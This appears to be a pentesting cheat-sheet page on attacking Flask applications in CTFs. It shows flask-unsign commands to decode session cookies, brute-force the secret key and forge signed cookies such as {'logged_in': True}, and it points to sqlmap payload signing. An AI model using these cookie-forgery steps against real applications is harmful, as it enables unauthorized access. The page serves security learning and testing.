60 lines
1.4 KiB
Markdown
60 lines
1.4 KiB
Markdown
# Flask
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**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
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## Cookies
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Default cookie session name is **`session`**.
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### Decoder
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Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
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#### Manual
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Get the first part of the cookie until the first point and Base64 decode it>
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```bash
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echo "ImhlbGxvIg" | base64 -d
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```
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The cookie is also signed using a password
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###  **Flask-Unsign**
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Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
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{% embed url="https://pypi.org/project/flask-unsign/" %}
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```bash
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pip3 install flask-unsign
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```
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#### **Decode Cookie**
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```bash
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flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
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```
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#### **Brute Force**
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```bash
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flask-unsign --unsign --cookie < cookie.txt
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```
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#### **Signing**
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
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```
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#### Signing using legacy (old versions)
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
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```
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### SQLi in Flask session cookie with SQLmap
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[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
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